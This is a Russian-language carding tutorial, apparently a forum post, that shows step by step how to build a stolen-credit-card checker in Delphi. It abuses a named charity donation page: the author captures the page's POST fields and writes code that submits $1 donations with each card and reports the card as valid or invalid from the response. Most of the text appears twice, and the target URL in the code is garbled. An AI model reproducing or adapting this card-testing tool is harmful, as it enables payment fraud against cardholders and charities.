Для начала нам надо найти мерчант, через который будет проходить процесс чекинга)
[Поиск мерчанта для чекера]
В этой статье я буду использовать Donate (дальше донат).
Донат можно найти в гугле такими запросами:
и так далее...
Для примера я буду использовать
Этот донат уже очень сильно задрочен мной... на нем ввели проверку адреса холдера + с 1 карты можно попытаться сделать пожертвование только 1 раз.
[Узнаем, какие запросы передаются сайту]
Чтобы узнать какие данные передаются сайту я использую плагин к Firefox:
.
Его можно найти в гугле).
После установки плагина в правом нижнем углу появится значок плагина.
Итак, переходим на сайт доната, вводим данные, для этого доната обязательно надо указывать следующие верные данные:
.
Жмем в плагине старт и на кнопку Donate! на странице доната.
После того, как страница выдала результат, в плагине HttpFox ищем строчку с POST запросом на сайт. (смотрим скрин, я обвел этот запрос).
Жмем на эту строчку и выбираем вкладку POST DATA, там будут данные, передаваемые сайту, которые собственно нам и нужны).
[Кодинг]
Я использую Delphi XE, т.к там сразу включены нормально работающие компненты Indy.
Запросы мы будет отправлять средствами Indy.
Для начала бросаем на форму пару Edit'ов для ввода данных для чека(номер карты, експ, зип), компонент IdHTTP из вкладки Indy Clients, и компонент IdSSLIOHandlerSocketOpenSSL (для работы с SSL) из вкладки Indy I/O Handlers и кнопку, по нажатии который будет происходить чек карты.
Связываем эти компоненты: Выделяем на форме компонент IdHTTP и в Object Inspector'е выбираем свойство IOHandlers и выбираем из списка IdSSLIOHandlerSocketOpenSSL.
Далее создаем переменную page типа string, в которой будет хранится страница ответа сервера и переменную типа Tstringlist я назвал ее ccdata. В переменной ccdata будут хранится данные для POST запроса.
Для начала нужно создать переменную ccdata, делается это так:
Теперь нам надо сделать так, чтобы компонент IdHTTP делал автоматические редиректы:
Добавляем в переменную ccdata, данные которые мы получили из плагина HttpFox:
Далее делаем POST запрос на страницу и помещаем ответ в переменую page:
Код:
Теперь анализируем ответ и выдаем результат:
т.е если найдена фраза There is a problem with this transaction, значит чекер выдает НЕВАЛИД! , иначе чекер покажет ВАЛИД!.
Нас учили убирать за собой:
[Поиск мерчанта для чекера]
В этой статье я буду использовать Donate (дальше донат).
Донат можно найти в гугле такими запросами:
Code:
donate by credit card
donate for animals
donate for kindsДля примера я буду использовать
https://www.amconmag.com/donate.html
[Узнаем, какие запросы передаются сайту]
Чтобы узнать какие данные передаются сайту я использую плагин к Firefox:
Code:
HttpFoxЕго можно найти в гугле).
После установки плагина в правом нижнем углу появится значок плагина.
Итак, переходим на сайт доната, вводим данные, для этого доната обязательно надо указывать следующие верные данные:
Code:
номер карты
експ
зип кодЖмем в плагине старт и на кнопку Donate! на странице доната.
После того, как страница выдала результат, в плагине HttpFox ищем строчку с POST запросом на сайт. (смотрим скрин, я обвел этот запрос).
Жмем на эту строчку и выбираем вкладку POST DATA, там будут данные, передаваемые сайту, которые собственно нам и нужны).
[Кодинг]
Я использую Delphi XE, т.к там сразу включены нормально работающие компненты Indy.
Запросы мы будет отправлять средствами Indy.
Для начала бросаем на форму пару Edit'ов для ввода данных для чека(номер карты, експ, зип), компонент IdHTTP из вкладки Indy Clients, и компонент IdSSLIOHandlerSocketOpenSSL (для работы с SSL) из вкладки Indy I/O Handlers и кнопку, по нажатии который будет происходить чек карты.
Связываем эти компоненты: Выделяем на форме компонент IdHTTP и в Object Inspector'е выбираем свойство IOHandlers и выбираем из списка IdSSLIOHandlerSocketOpenSSL.
Далее создаем переменную page типа string, в которой будет хранится страница ответа сервера и переменную типа Tstringlist я назвал ее ccdata. В переменной ccdata будут хранится данные для POST запроса.
Для начала нужно создать переменную ccdata, делается это так:
Code:
ccdata:=tstringlist.create;
Code:
idhttp1.HandleRedirects:=true;
Code:
ccdata.Add('firstname=vasya');
ccdata.Add('lastname=pupkin');
ccdata.Add('address1=4ertenok');
ccdata.Add('address2=');
ccdata.Add('city=4ertenok');
ccdata.Add('state=4k');
ccdata.Add('zipcode='+zipcode.Text);
ccdata.add('[email protected]');
ccdata.add('phone=');
ccdata.Add('cardnumber='+cardnum.text);
ccdata.Add('expmonth='+month.Text);
ccdata.Add('expyear='+year.Text);
ccdata.Add('donation=1'); // сумма
ccdata.Add('comments=');
ccdata.Add('Submit=Donate!');Код:
Code:
page:=idhttp1.post('https://www.amconmag.com/donatethankдеs.html',ccdata);
Code:
if pos('There is a problem with this transaction',page)<>0 then begin
result.caption:='НЕВАЛИД!';
end
else begin
result.caption:='ВАЛИД!';
end;Нас учили убирать за собой:
Code:
ccdata.free;